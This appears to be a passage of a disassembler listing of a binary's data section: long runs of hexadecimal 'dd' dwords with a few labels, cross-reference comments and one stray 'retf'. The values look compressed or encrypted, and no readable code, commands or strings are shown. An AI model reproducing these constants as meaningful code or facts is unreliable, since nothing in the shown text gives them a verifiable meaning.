		dd 5DE69100h, 862363D5h, 19DA0349h, 0A23E85D4h,	56286780h
		dd 61879505h, 8080C50Dh, 1EC427CDh, 0C0B93A36h,	0AE48E226h
		dd 0C6F4983Ch, 40A8A100h, 23A4CF55h, 10A26144h,	0C00E9D3Fh
		dd 3E017593h, 0CF5CF27Dh, 8DEC6D25h, 91C600A6h,	141118D5h
		dd 0F8008C68h, 22045DFDh, 672D59h, 7919C58h, 6C92CDAFh
		dd 4ADDF000h, 63A3D9B5h, 0BB48002Ah, 2E079B29h,	8A39682Bh
		dd 497C0ED8h, 736B40C8h, 7D05237h, 9A2615E6h, 0C53B4088h
		dd 0EB0086DFh, 66674FE5h, 0B02ADB3Ah, 1EB700E1h, 0E1034056h
		dd 0EB0716E2h, 0D4533957h, 5119F3D0h, 4E6E0267h, 14A6782Ah
		dd 7FE8ACC3h, 0CFF2EE0Eh, 292C0B06h, 1848B493h,	0F05E0241h
		dd 0BB00654Eh, 2B8218BFh, 0E6E61C49h, 0ADE04C95h, 454A13h
		dd 3FF7DB20h, 0AF7A763Ah, 8CA99600h, 1F052E7Fh,	0D5D0069h
		dd 863B8B27h, 0B903B8E2h, 0C66A653Eh, 0FD70AF03h, 182A5F0Ah
		dd 218B716Ch, 11C385Ah,	0E6C31B54h, 48214F7Eh, 0C3001860h
		dd 0F3A849FDh, 4C005677h, 42F7700Fh, 18DDCEh, 91CFB29Ah
		dd 438FBDFEh, 0FABC4D07h, 1BF0ADD0h, 0DBA899h, 0AC6F624Ah
		dd 648110A3h, 0C0210D00h, 7D42FA05h, 0F7610194h, 0D93DDE66h
		dd 1900CFCCh, 56843569h, 590474h, 0E220ABA9h, 0E65E3D12h
		dd 72E98002h, 603A498Bh, 0D63E45FEh, 0CB7202B0h, 0A560E351h
		dd 0DC071DEFh, 684F8578h, 25100DBh, 0B691E4Ch, 87E2D011h
		dd 8D5385h, 75C325ACh, 0E41CC1F0h, 0F7DEA74Ah, 22672300h
		dd 0A56C91h, 92DF5EAAh,	0FA981DD1h, 596B960Eh, 760C403Fh
		dd 0D915BEh, 1C0122EEh,	0D842C160h, 6700E3B0h, 0F09AF4FDh
		dd 3D58D31Eh, 75806F38h, 99522E4Eh, 194C5472h, 8AEE72BFh
		dd 0AAFD3F00h, 1F2DCE4Bh, 0FCA01F2h, 0A4D1EF89h, 0DE82CC6Ah
		dd 9E09F900h, 35F01EC6h, 67D8A03Dh, 1108180Ch, 0D7F9C8BEh
		dd 0DC25C700h, 0C6383DBCh, 2124030Eh, 0ABFFE8A9h, 0D10F99F0h
		dd 6E362600h, 72521370h, 0EF69079Ch, 0A18D2B55h, 30F3627Fh
		dd 350BFD04h, 20B583h, 8E1BFBB5h, 6FACA0A1h, 0EEB8A0D7h
		dd 0F8B950ECh, 9D6D3AABh, 0F2ED3F80h, 0C32ED490h, 50883400h
		dd 590EFA81h, 2D0F072Bh, 60581D93h, 0D85613EDh,	9C71DA00h
		dd 3345E7FCh, 55CB0185h, 586A7BB1h, 0C90C20F0h,	644AF624h
		dd 22387500h, 34FE9h, 582412D1h, 70BBEDBh, 5741FE03h, 0BC495Eh
		dd 5D33510h, 4211444Ah,	0A10FC700h, 0D77A2814h,	40589A92h
		dd 4700E1CFh, 1B290B96h, 289D4A3Bh, 0A07D68h, 0E95F5C63h
		dd 56DFFFE7h, 301C8050h, 0BE4D821Fh, 80A54209h,	6C074554h
		dd 84FB004Ah, 5106F7DFh, 83027715h, 5A35E941h, 34607D48h
		dd 39009D29h
		dd 8DA39582h, 73597EBDh, 68324873h, 10B5E800h, 6802873Dh
		dd 0F83F2503h, 0B0D5433Eh, 0EEF66DA1h, 69860E7Ah, 0E080F74Ah
		dd 5526103Dh, 462E1F00h, 0E7CEFFB5h, 0D9DC2616h, 79C88050h
		dd 9B16E7Ch, 529C2099h,	85901420h, 0D500C4ABh, 5B4DCFB5h
		dd 0A100617Bh, 4852E2E4h, 104367Fh, 435160C0h, 0DC856698h
		dd 0FE003EB8h, 0B5C8465Ch, 419DB0h, 81DA35F4h, 90C51213h
		dd 2B45E503h, 0E84469ACh, 2448FAC4h, 47976Ah, 90CF21DBh
		dd 0D8002A70h, 0E4D7CA16h, 47BF07h, 7277914Ah, 0DD5B8B99h
		dd 5A98DEE2h, 0BB4F1C0Fh, 0A65E60AAh, 370F2D1h,	0EB124344h
		dd 2DF82061h, 551EBABEh, 180041F4h, 0D7443198h,	0B7FC098Eh
		dd 550040B8h, 29159639h, 41105E0Eh, 6EA08059h, 0F9A9CDh
		dd 0AF2570FAh, 80D62E50h, 84F3361Fh, 0AA939D00h, 989EDD9h
		dd 772037D4h, 25B10800h, 7D09CD68h, 0A0AC39h, 51296688h
		dd 86A12424h, 92420082h, 1669BC53h, 6041F000h, 404F470Ah
		dd 25FA007Dh, 1CDE58F8h, 0C61C59F7h, 0B5EE17E6h, 0CCCF0E00h
		dd 7345F7Ch, 0EB2A1ADBh, 66D36009h, 838B10Ah, 88B401F3h
		dd 0FDD9CC38h, 0C9F2BE4h, 7A52687Dh, 0F70043F0h, 0FBBD73EEh
		dd 3D31560h, 58693FB3h,	0F9AB05B4h, 20D440B9h, 85011630h
		dd 305536A9h, 0A0804E8Ah, 11CEEE0Bh, 1E39FDCCh,	4D0C80BAh
		dd 939968ECh, 1A3104C1h, 0C06EB6F4h, 0E914523Bh, 8203CBE2h
		dd 0ABC2D749h, 25E8040h, 0F6A20153h, 7E6B5A2Ch,	47B8D781h
		dd 6607123Eh, 177F7723h, 44838C50h, 33A00C0h, 5BBC4725h
		dd 0B100B438h, 50F51DE1h, 244A0708h, 48C4EEh, 0F38D63DEh
		dd 83015F98h, 0DCE759A0h, 0F4E36947h, 0D3C649C0h, 40E00065h
		dd 0FEEFBCCCh, 0D40942E6h, 8F296432h, 3B2D20C8h, 2DD1672h
		dd 6ACE4676h, 805F8043h, 0D84448D7h, 129D0059h,	7A076842h
		dd 0BE00FB7Dh, 69D68AA5h, 9EBF4Ch, 0D1B5326h, 7DB9C1BCh
		dd 46DC380Fh, 1E9AE7B7h, 0DA8869D0h, 24AE4D35h,	0D800AC21h
		dd 5F53CE04h, 0CAC202DFh, 2EE58C19h, 71295CC0h,	0DB00FFEEh
		dd 0DF6DEE2Fh, 11CAC7h,	8C9EDF4h, 4625F294h, 3ABB0A0h
		dd 0C3C8D701h, 48FC5EFh, 0EB8ED840h, 0B4B5001Bh, 0E9F2A045h
		dd 98B8CEABh, 603C0E01h, 0B1236954h, 0C2406431h, 156326h
		dd 1E652413h, 7A97F112h, 4D8A2F00h, 0A33983A9h,	265300D5h
		dd 989691FCh, 0B470F66Bh, 0F0EE3826h, 0B9E4FD00h, 7B7D0Eh
		dd 0A9AB4B94h, 0D7A8849Bh, 1D0D94Ch, 13EABDDAh,	108189D6h
		dd 93816F59h, 208020F2h, 0B0F6938h, 9DEC4Ch, 496F1D20h
		dd 0D4E20FFCh, 0CCE0D5C2h, 995C758Eh, 70695716h, 0FC0E5200h
		dd 3012EC43h, 82107BD5h, 0D2909D41h, 0CD4DD204h, 0B4C027F5h
		dd 0BDA1336h, 0FD0DD8ADh, 2933F887h, 0D64E6000h, 3926D7B4h
		dd 9D01900Fh, 4D2A024Ch, 0E52399Eh, 6FAA9E6Ch, 3EBA40E0h
		dd 0D07BE53Bh, 38169B30h, 0E7C5F6h, 0F70A5686h,	7357475Ch
		dd 38E2E800h, 92845098h, 7B4B00E7h, 0A9F3B0A3h,	74B0ACDBh
		dd 0C9877200h, 76667430h, 0DCB55071h, 88C03F97h, 27F0BC81h
		dd 807AD04Eh, 0FC689190h, 452AA4h, 0A7568818h, 8CF3EEB6h
		dd 19F0D007h, 0BF5074EDh, 4634D6h, 57874EC3h, 366C2FAAh
		dd 10A60A50h, 24ECF52Eh, 90167000h, 7718FDB1h, 809900E6h
		dd 4A61691Ah, 6577FEC3h, 9FA37202h, 40D5AE55h, 7709F0h
		dd 99FF5BB5h, 0CB502C0Ah, 16289F48h, 14008DDEh,	17FD4CDFh
		dd 0A8FF0073h, 0F06CA308h, 0ED00B0ABh, 34E71E6Bh, 1DF6995Dh
		dd 0C0759A86h, 9609F430h, 2F1E3B36h, 877DDD33h,	5510726Ch
		dd 0D60362B0h, 147171E1h, 0D038DF8Bh, 0F08A0800h
dword_544450	dd 0C962A7DEh, 0D85FC501h, 85F5E31Eh, 0EE970DC0h, 89260055h
					; DATA XREF: ___:off_43D3D4o
		dd 0C0A596EAh, 0C600B39Dh, 664F7F35h, 6F5E94h, 0FE3FF687h
		dd 0CB531675h, 4E16A0B0h, 0F000A9D1h, 765A7303h, 0E34D03BFh
		dd 3AECB517h, 452F908Fh, 860449C0h, 5E31A8ADh, 0C417A081h
		dd 0DC00D072h, 27B0E158h, 6100DFE0h, 7EBE08C6h,	0CAA826h
		dd 21D40A9Ah, 95636D37h, 6E5C30F4h, 2A3908C8h, 0F0B00092h
		dd 6BA40813h, 0CC006570h, 77551120h, 535706h, 470BF646h
		dd 0C4A18B45h, 80EF943Bh, 0A36F8867h, 12DD937h,	0F70B9C33h
		dd 0C26A9D5Ah, 549EA860h, 0E07DF900h, 0A3BDC73Ah, 1D309071h
		dd 0EF8C066Bh, 3804A87Eh, 708004D9h, 799283CCh,	0F07F0076h
		dd 6D9F73E2h, 700EA8Bh,	0F8BC0F3Bh, 0BF036Ah, 225D7409h
		dd 9913A2A3h, 0E73B6800h, 0EB7F7E44h, 266A00B0h, 30ED89F7h
		dd 6DF419C0h, 0DBDA6026h, 987FF900h, 0D250C5h, 89BBC801h
		dd 3C913B19h, 0AECF3Ch,	9ABE1538h, 0CA09FDh, 0A0F6EB6Eh
		dd 0C9515FD9h, 0B66C7B1Fh, 8B4BDA82h, 0FABC60C0h, 0EE51D97h
		dd 0E349801Eh, 0C5AF5CBAh, 1E2D800h, 7C02F2DBh,	0FA9427BEh
		dd 1EBA8403h, 0A3DAE498h, 0D9072C91h, 63A0E01Fh, 1EACDAFh
		dd 39D63E80h, 8B50233Bh, 90F77668h, 74BBD2B8h, 82D61FB8h
		dd 0E947806Ch, 339A10D1h, 0B1135200h, 6FAEAF5Fh, 5ECEF8Ch
		dd 1EEC0066h, 0A0858401h, 200499CBh, 0A9656746h, 0FE718C0h
		dd 6F541C29h, 5E0C805Bh, 0C84D2070h, 0BD8F3700h, 0AFB5E2E1h
		dd 1CBB09F7h, 0A202EBF1h, 0F8802E1Dh, 9223C4B0h, 0A14CDBF8h
		dd 0EA8700A1h, 0C6531021h, 24E07047h, 946C78BEh, 0DA00A8A3h
		dd 0BA3C3902h, 91729BE2h, 7AD0F850h, 0DD582200h, 9C538454h
		dd 76F57473h, 0B212283Dh, 96AE00AEh, 0F9CB75FBh, 9CF43016h
		dd 16C7748h, 37E9D60Dh,	460B6A6h, 0C81E4DD7h, 828B1400h
		dd 59B9EC28h, 4B3FA400h, 2FB20C99h, 0A3690027h,	0BBF658D6h
		dd 4E307DFEh, 0E2C2B864h, 3BA420DCh, 7BFDF70Fh,	63E5E086h
		dd 1277266Eh, 208C4FCAh, 18111BD0h, 5800787Eh, 409FA994h
		dd 0FEC677h, 0C162E2E3h, 257FB90Fh, 0E0DCBB0Ch,	0FC61B9C8h
		dd 62C891CAh, 7C60D15Fh, 0C90740E3h, 0C84AAEB4h, 0E6801C40h
		dd 6DBD3CDCh, 22E32F04h, 4F4480FBh, 6A002A82h, 71E98C90h
		dd 0C02DDDACh, 0D9896C10h, 0F316193Dh, 4402751h, 0CABB9A83h
		dd 11A53D63h, 7BDAF500h, 8D791D4Bh, 84E8850Eh, 1ABC00D8h
		dd 0DB2462h, 0F421BF4Ah, 0E4260452h, 687A2B00h,	7D417F59h
		dd 0E2080224h, 0CC4C3663h, 0F19C40C0h, 0C9968400h, 883D1167h
		dd 136892B7h, 0A032991Eh, 92262E0Ch, 480096B5h,	2780A5Bh
		dd 0E167004Eh, 0A2770B20h, 5F003414h, 9D3031E9h, 76CAD13h
		dd 0D0FEFDB8h, 4280E922h, 38DA3D12h, 40B461D4h,	4A002994h
		dd 539681A8h, 0FE6F9E3Eh, 80B452FDh, 1EC4B902h,	0B0788F06h
		dd 0C19CE912h, 0B37F1C40h, 3F40C671h, 0E71898A4h, 0F3AE9806h
		dd 4F740A00h, 10B737Bh,	30F62Ah, 68A80D14h, 0E6449334h
		dd 9DFFED07h, 9E402EEFh, 17D27E8h, 67D00CFEh, 40B40499h
		dd 848D0FF0h, 0E5912F00h, 44404B60h, 1F9A7088h,	1C2420AEh
		dd 382C01E6h, 38070F55h, 14650058h, 63761910h, 72A501F9h
		dd 0BFF7F05h, 0C53AE085h, 0E6CA84A0h, 0EEDF151Fh, 8AB37903h
		dd 0A894B8ACh, 6AF101B2h, 4E2CD143h, 0D353F465h, 89EA113Bh
		dd 0C00AF4B6h, 8F35B0h,	34506F09h, 0E63DDE10h, 86005098h
		dd 3FB4EB69h, 0FAD1C4BEh, 9EA7271Dh, 0D4E66810h, 1B2980h
		dd 0CC7CA91Ch, 0EE330F46h, 12C1CD5Ch, 1C0091ADh, 40342419h
		dd 0F476A8h, 42B6F73Dh,	0CE680D9Dh, 0D6C1DC1Eh,	697E738Bh
		dd 98208A10h, 0EE6E009Ch, 0EBD0D98Eh, 5B002D1Ah, 50779147h
		dd 98B55A7Dh, 88060004h, 6BA5D4EEh, 0BE7D81CEh,	0EC0091F4h
		dd 0CA671346h, 3222FAh,	58BFF171h, 2B40A8BEh, 41B8D14Ah
		dd 7CAB24h, 0FD9B0BD9h,	0BE3DA731h, 57F180EDh, 0B7F0715Dh
		dd 66B400DBh, 0AE83649Eh, 4003EBEh, 6FC6064Ah, 518ADAh
		dd 40ADFE97h, 0DFC21EC0h, 0CD05F61Dh, 41CBAF40h, 4C2A08C8h
		dd 0A073952Fh, 30FD53E4h, 2EF156A0h, 0F353B94Ah, 7B0900E8h
		dd 0D5A68CB1h, 0CDAE079Eh, 80496A38h, 0C6BA7F37h, 18D2AA00h
		dd 2CCE4FF5h, 13D7A011h, 4B00A3Ch, 84E41983h, 2DFECC6Ah
		dd 7A4822h, 2C0F9505h, 684A5D5Fh, 0DDE03907h, 0D640C063h
		dd 0A1B1F6E6h, 36EC7FB4h, 0E2A20090h, 7376B8D9h, 0A8004811h
		dd 96CC15F3h, 0B03BA942h, 44AD0058h, 0AA9B5BB1h, 7172C79Ah
		dd 7BBA301Fh, 0EAF00680h, 181C582Fh, 0A89A31DAh, 94383832h
		dd 0FBDE0042h, 86BF594Fh, 44C742Fh, 0AC51C8F5h,	90288007h
		dd 501FC274h, 0A58C78B4h, 0DD08BBh, 8EC0A937h, 0B6EEF7F4h
		dd 8CB826EAh, 0CC00657Fh, 72AAFD90h, 75D4E283h,	0F704007Bh
		dd 0A4F5021Bh, 500155C4h, 0A556B9ACh, 0D0FBDECFh, 8A6320h
		dd 7EFCDF9h, 0CC0F70E6h, 2300409Ah, 8B6C32B8h, 5051FAh
		dd 0E4BCB983h, 6355F7AEh, 6EEA4F04h, 0E0807AB4h, 39A18A9h
		dd 508A079Eh, 0C5E87DB5h, 51006143h, 76BBDB5Eh,	3A98F87Ch
		dd 0C9A49EAFh, 7DBD070Ch, 0D9D883A0h, 28D113Ch,	4554BCEBh
		dd 0F86CD87Bh, 0C05C0187h, 989A26BFh, 6CA0F3BDh, 8F185002h
		dd 4318A3BEh, 7CAF87Ah,	0F55E3A4Bh, 2F754201h, 73456887h
		dd 9590C752h, 1DF03704h, 8EBC08A0h, 4E169D7Ah, 0A3009C9Ah
		dd 59D24B75h, 7258BFC5h, 49C03433h, 0F9980043h,	5F61DAD9h
		dd 0D00F755h, 0C1A7E470h, 0F0C529h, 79C3782Ch, 0D9E95103h
		dd 0F4B8ED00h, 109B9726h, 727B11h, 0AFC6A521h, 0EA5E8C17h
		dd 39581500h, 0E7243BA1h, 9EE203ADh, 53C0A55Ah,	0EC57BF80h
		dd 0DCEDFC00h, 0F5868E41h, 7FC21C93h, 0B49FC084h, 0DB3C62B1h
		dd 66E0EE0Eh, 0CC4182B5h, 8B3361CEh, 0C7C3C4h, 0FEAAC931h
		dd 1A54F16Eh, 890059B8h, 4587E397h, 0C0A8B5h, 8293AB47h
		dd 91C96490h, 63D02B00h, 5DF7883h, 0A14A00F2h, 38DDB0D6h
		dd 250FA8C3h, 80FF5C2Bh, 0BE875D91h, 0CB05179Ch, 0C43C40ECh
		dd 993560D6h, 9596BD01h, 9A7EB5C0h, 218028D1h, 533568F9h
		dd 390C2DA1h, 48516541h, 71971986h, 18C750C4h, 9D351D6Ch
		dd 0C49AD0BDh, 0F50005D3h, 0B4B83574h, 4CBB2E00h, 0EC4E9DD9h
		dd 8341C02Bh, 0ED2F6504h, 4288A407h, 26B030C1h,	0EC14852Dh
		dd 0C948004Ch, 0D30A4FC7h, 1A3F7C45h, 98898107h, 3A7217F6h
		dd 5B3DA888h, 77593618h, 499004h, 5D2A02FFh, 0EC7834C5h
		dd 9D213963h, 2EC790D7h, 0C3F93033h, 6F938E39h,	5D51710Ch
		dd 6C275021h, 0C720F8BAh, 0E896A7E2h, 33197D3Ch, 9658D3D9h
		dd 20388C46h, 0A3003979h, 0F4F05CFAh, 8C1ABh, 53A941A8h
		dd 39F129EEh, 72A31A01h, 0B94D3F8h, 0AD63D0h, 0C5A02024h
		dd 0A1073C8Dh, 7809856Fh, 284421h, 466651A0h, 0B76BE652h
		dd 924F8900h, 15D4DD75h, 0ACC900FAh, 0AD60D055h, 37AF804h
		dd 0EA21CB00h, 0E2FC28E8h, 1B08CCE0h, 0F2002221h, 0F4CE4CBh
		dd 0C348E5h, 14819E35h,	64D10EB2h, 0A6C729C0h, 349A88Ch
		dd 6C59D5B5h, 9906052Bh, 0CE527DCFh, 16F73680h,	59468830h
		dd 25CBFE02h, 183108EAh, 0CBF62610h, 0EB01FF16h, 0E3533100h
		dd 0C010D14Fh, 0F584D721h, 0E998CF1Ch, 5CD90803h, 90FD9F95h
		dd 74C6B2h, 0E6BBC960h,	65E92FB5h, 176339C7h, 0AC4B2641h
		dd 62CD1180h, 5935D9B7h
		dd 22671C0Ch, 0C0B90849h, 0B75AEF21h, 39005C34h, 8F37CA3Fh
		dd 149BC81Bh, 8C3161B9h, 0F6634E05h, 48040ECh, 666FDE18h
		dd 0C0CE7102h, 86267908h, 0F21EDFBh, 96FD63Dh, 0E2506CA0h
		dd 553696C3h, 46A0A826h, 0B766022Ah, 317935DDh,	5EE31084h
		dd 88F50EB7h, 5F42B6C9h, 0B8803E82h, 0A6A56D07h, 6CE8C4A0h
		dd 94CDF000h, 190F35B7h, 69773B49h, 0C4983080h,	121422A8h
		dd 0D49D2307h, 0A340B2ACh, 0F83E17DEh, 0BCC3004Dh, 6D52D5B9h
		dd 0A800CB80h, 548A983Ah, 391EBB6Ah, 7E6489h, 9B943CDEh
		dd 6391C52Fh, 0E83AAF07h, 0CC26D34Ch, 5B6F0740h, 709C9E82h
		dd 0DDB49145h, 2CEF4E2Ch, 35ADA500h, 755F4BA2h,	4A693157h
		dd 30BE4510h, 6B0F02F9h, 2EE28B85h, 0A818F807h,	39540042h
		dd 2F172698h, 3300231Ch, 41C096ACh, 0FA929EFh, 0C734D7BEh
		dd 1005C306h, 0B71D2F00h, 215097ECh, 3ED33131h,	10B3C519h
		dd 122C644Fh, 11C79813h, 0BD0E94ECh, 9898811Ch,	84A35DEDh
		dd 0D606EFE0h, 65309900h, 0ACB7EC4Fh, 0A9F7009Ah, 0C59E889Dh
		dd 0AB0079E1h, 5794514Ch, 0EA3EB84h, 97BE0BA7h,	624A079Fh
		dd 1142C21Fh, 3EA0EE40h, 7AD35F0Fh, 6B20C0B8h, 1D8208DAh
		dd 3031A23Ch, 0AC214E10h, 3A73005h, 0F8C6B98Fh,	215A6008h
		dd 5BAC39F5h, 7E9C1200h, 91A8250Bh, 240E2EABh, 0F13F0E0Fh
		dd 490F0280h, 5506C2E2h, 2EDA6DCFh, 181C7440h, 11D4C33Bh
		dd 0D3B81B7Ah, 0FE0A4314h, 8F233E4h, 7F210068h,	84055DE3h
		dd 0A80E0F5Fh, 64E9B504h, 14833D2Dh, 46E00376h,	6CAADFDAh
		dd 328B6900h, 81E63771h, 0EA9E1852h, 0D5960879h, 8B2A20C1h
		dd 2820AD71h, 0C184008Fh, 0B8CD5DE9h, 78E42F08h, 0F1345A34h
		dd 0B05EA40Eh, 0A3D15500h, 34CA8A60h, 9A368FB0h, 6FD8E049h
		dd 1098BC81h, 0A5006E3Dh, 0CD7C68DFh, 6FB28Fh, 0D531D74Fh
		dd 8185144Ch, 0BF030600h, 0B108A101h, 0C17B0F27h, 4BE0AE1Eh
		dd 0DDADAC62h, 409CB800h, 0A43D57CEh, 4178AC1h,	99626C06h
		dd 0DA380010h, 0B6D9A6F9h, 8200666Dh, 1F980E18h, 26A8F6h
		dd 49795DC2h, 0C6724658h, 6400BBB0h, 47854BE1h,	617F0Dh
		dd 4DE72C2Ah, 69010B11h, 5FCFA00h, 7FC6446Ah, 0F239021Dh
		dd 0E6969161h, 179EDD40h, 0E30E6876h, 0C0E9CB1Ah, 30F58007h
		dd 90D46099h, 574F1D31h, 4B53411Ch, 4AA65540h, 0E1C3809h
		dd 929C8DFDh, 526F8A60h, 63009D5Bh, 2E21C420h, 748DF7Eh
		dd 14FBA412h, 915700FEh, 7D1F4E9Eh, 41003A24h, 8D228318h
		dd 0B61B004Ch, 46E4321Ch, 0E01D78E5h, 0E80090AAh, 880423ABh
		dd 7E6E03EFh, 759A0199h, 0A620F1A0h, 2960BA00h,	0A02D1F3Ah
		dd 4F7C3A17h, 1A889C00h, 3FC33E3h
		db 3, 0Bh
word_544F42	dw 6BC4h		; DATA XREF: ___:off_435E10o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 54h,	0F9h, 80h
		dd 5AB3B65h, 0FE5FA91Eh, 78C443F2h, 68D01D7Ch, 0B312E639h
		dd 570C0652h, 0F826688Dh, 3CC51CA1h, 74BC48h, 2905BB82h
		dd 797F1541h, 0E1D5C200h, 0E9B01D0Dh, 1E6E007Ah, 0D8F05E0Fh
		dd 0AB0AA49Dh, 0FC458D86h, 57F86780h, 0AC47B12h, 3F55F615h
		dd 0B3A083B4h, 17B0A66Ch, 9802C90Bh, 82229965h,	8517E07Eh
		dd 5D6F58AEh, 45667D00h, 799C03A4h, 29F40B30h, 5672E7h
		dd 521382Ch, 0D3F6954Dh, 49C3EA00h, 598B2786h, 0F74000BCh
		dd 4547B520h, 0AC73EBA8h, 11EA1801h, 2613F829h,	5551C4h
		dd 444A2527h, 4B08142Eh, 0C15B3Bh, 0C9C88D70h, 2722DEh
		dd 0C3AD958Ah, 87C27441h, 0E847E930h, 1C306Fh, 0E2090D12h
		dd 9397DBCDh, 92852100h, 7AE64578h, 0E15F8C2h, 81C97F2Eh
		dd 857B7760h, 0EC98EC6Bh, 7090F80Fh, 0EE0900ADh, 0F413FB3h
		dd 8221E033h, 1281BB60h, 0B53A7101h, 0A0C8F4Eh,	62680086h
		dd 72B76DAh, 7C14E08Ch,	565F9060h, 0D21CCEB3h, 499C1057h
		dd 0C10D5D45h, 0FD834040h, 476E65h, 0BA211EADh,	5B7279ECh
		dd 20F66605h, 35F8A8DEh, 32D01700h, 658E9084h, 4EC3A702h
		dd 80C68775h, 43066FF0h, 0AEDC37E4h, 64770031h,	713BDB79h
		dd 6CDE0039h, 0F9A2E2E5h, 25F300DCh, 857FCA44h,	7A01E7E9h
		dd 0AC53C403h, 88A0CB84h, 623401BCh, 0B476CAD7h, 545C24CEh
		dd 932A860Ah, 0A600E85Ah, 0D1BFD9E8h, 0B2B92CA8h, 1E1830E2h
		dd 0B43B46C0h, 3FAB8034h, 6B424F1Ch, 709800A6h,	152F4167h
		dd 95032D0Bh, 0F6E1EDEFh, 0DB40C7F0h, 0C13B5951h, 0E65CDA38h
		dd 8C0500Fh, 63012298h,	1947C510h, 1882E1EAh, 59F12515h
		dd 7222F0A0h, 0A474DCFBh, 3A38A500h, 0C14FB1B6h, 0F4C3006Bh
		dd 1BB8D973h, 1D00D685h, 951E8C0Ch, 246438Dh, 0A663A925h
		dd 0C4917DA7h, 0DE188024h, 3949E18Ch, 590A0115h, 5780B99Fh
		dd 9B3980A2h, 38A3F150h, 91B701EAh, 4D2BC9A4h, 8C36F46Dh
		dd 0A7154200h, 8FB344B9h, 0F2650090h, 9832562Dh, 36000633h
		dd 48191FC4h, 3A63740Dh, 8601D678h, 0BC39F354h,	0D79E47FCh
		dd 9BFD1016h, 795871B9h, 0E7E01EE3h, 8C62C3C1h,	88CC3078h
		dd 9F311C18h, 0AADC0E3h, 16A9CB9Dh, 6B472701h, 446763CCh
		dd 39539820h, 4093F264h, 0C67BC17h, 8866AB78h, 0F74700BCh
		dd 9425553Ch, 0C001BBC8h, 0C276C397h, 0AC401B77h, 0E01720h
		dd 157D2973h, 6C878C92h, 0EB0047B8h, 130FA503h,	0C3F98E3h
		dd 4CD83A68h, 8F20AF80h, 1CD50140h, 95DB7BEEh, 0E43ED1B0h
		dd 0A12402BFh, 0A00F24C9h, 8C8200CEh, 1256BB81h, 0F320B7h
		dd 2E52FA58h, 0AB020E12h, 30B99A3Eh, 4B6440EEh,	250F03Fh
		dd 1303DB15h, 0A460A31Ch, 0BB09FD2Dh, 0B95C5Ah,	5F263D64h
		dd 972A007Fh, 0C98AD162h, 50044815h, 0D47B5BC0h, 0FE4C1880h
		dd 61B800F3h, 36458C01h, 54001EB4h, 570C3D19h, 0F83114h
		dd 5F3556BFh, 4B0DA406h, 736E1F00h, 5B94BA30h, 1E41000Ah
		dd 0CE9E8129h, 2A006D8Ch, 3E653EFh, 0B386CF6h, 48F2AD93h
		dd 650B300h, 7376C5E9h,	87AEE00h, 0ED6A3603h, 6CF2001Fh
		dd 92BC7886h, 9B0127E8h, 0CC90F1F3h, 97307E71h,	0CB0D00EBh
		dd 51D661B6h, 63054365h, 5B88802Ch, 153196C7h, 0BFC817B7h
		dd 7810031h, 0FF0ED2EFh, 2100CF69h, 76FC1F23h, 0ECB72D6Eh
		dd 57A43E37h, 0CAA6C00h, 2E0998C0h, 0DC5C3A0Eh,	0DD90E145h
		dd 46036CBh, 0CD54004Ch, 0A609BA87h, 29000BECh,	7F564893h
		dd 2834B089h, 7A02140h,	845C359Fh, 0C00A84F5h, 9C482471h
		dd 69E43779h, 0F6782600h, 4498878Dh, 6C020ED8h,	0D600F719h
		dd 0C1C68E9Dh, 7B96320Fh, 8754A052h, 0B9D8C765h, 0F170264h
		dd 7CE4FD08h, 0A732C300h, 0F60D197Fh
byte_545350	db 65h,	90h		; DATA XREF: ___:off_43D394o
		dw 24C1h
		dd 8054F063h, 0B94C225Ah, 0DA0178B4h, 30EE8B53h, 347488CDh
		dd 120500F6h, 71253EE7h, 0C41393BAh, 8800B665h,	0E55CA50Dh
		dd 0BCD83267h, 0F3403F71h, 3801BD5Ah, 0F745B6E4h, 0BE366C0h
		dd 0B33F3D21h, 0B00FCC27h, 750DB05Ch, 0FAC46628h, 0AD1859D8h
		dd 51090028h, 1A18F5B7h, 3F0082E2h, 1C4E8D30h, 148BE32Ch
		dd 28583DBAh, 0B248F500h, 47C9FAE5h, 41936002h,	33B99FDh
		dd 42D90DA6h, 33184156h, 8317F467h, 4F348418h, 251D3A08h
		dd 1820A573h, 72588663h, 0BF023200h, 484AD40Ah,	14D2007Ch
		dd 9675E6E7h, 0BB0098B3h, 0B4D02BFCh, 38AE116Fh, 388079A9h
		dd 0D355A2C1h, 29009F8Dh, 31C36194h, 931008h, 0C6C2A9C0h
		dd 6E6498E0h, 0AC417C1Eh, 4FD15B89h, 5C478068h,	3AAE5808h
		dd 3FA7B507h, 6DF15011h, 0C5F44096h, 0B0041E1Bh, 0C1B1405Ch
		dd 12F7754Ch, 0A01F38C5h, 46C0D85Eh, 0C074A9A1h, 0AC2403E1h
		dd 72B16B12h, 42F8B3A8h, 0EC92FE00h, 0DC9CC077h, 0AB321476h
		dd 0D9E12018h, 1048180Bh, 1ED6D46h, 164C07E3h, 3083B491h
		dd 5FCC3CE5h, 0EE4EA006h, 0F2188E76h, 0E9A760C4h, 9486E9CCh
		dd 581B40C5h, 2A186481h, 75AD8450h, 0ED28C0C2h,	0ED48252h
		dd 1A16C82Ch, 489AD600h, 5D03BA6h, 35C722FBh, 919E80CBh
		dd 40C0C094h, 442DC62Eh, 0A051C046h, 0DB6FF1Ch,	98195CE2h
		dd 0BF08E5C5h, 11852180h, 96C948FFh, 46639F02h,	0A0B43CC2h
		dd 582183CCh, 16D1C276h, 0E300A599h, 8072698Ah,	0DB0005C1h
		dd 2F9733EBh, 7EC6E495h, 0F5130138h, 8EE85C20h,	43C2C08Ah
		dd 18EC605Dh, 8781B245h, 5F7200E2h, 4BBA3399h, 0A6F8EB6Dh
		dd 84A85Dh, 5B1EA140h, 0C4D48E9h, 7D248C38h, 94A87708h
		dd 0F09836E7h, 89CD8A1Ch, 0AB2814B8h, 1312384h,	0DB2FF10h
		dd 88A418EDh, 0FF00B4F1h, 5F5D50BAh, 2D36243h, 48083390h
		dd 48408DF2h, 70741906h, 544BCF81h, 30B8DC84h, 59D4230h
		dd 0A58B6B1Bh, 4A88406Dh, 961DA408h, 0B100C777h, 0F61280FBh
		dd 7A26FFC9h, 7F2800D8h, 33D67D71h, 0B3141DA0h,	1EE38985h
		dd 0C22826EBh, 1C50FC05h, 0D8056834h, 0D040C469h, 0A0047D73h
		dd 0E58000F3h, 66EAB785h, 21C0696Ch, 1B558949h,	938100E6h
		dd 0F3951101h, 9700D00Ah, 0E11EFBA8h, 484CF20Ch, 0F6080468h
		dd 7684B83Ah, 7C81A972h, 6056F84h, 21B535A0h, 0C56794F8h
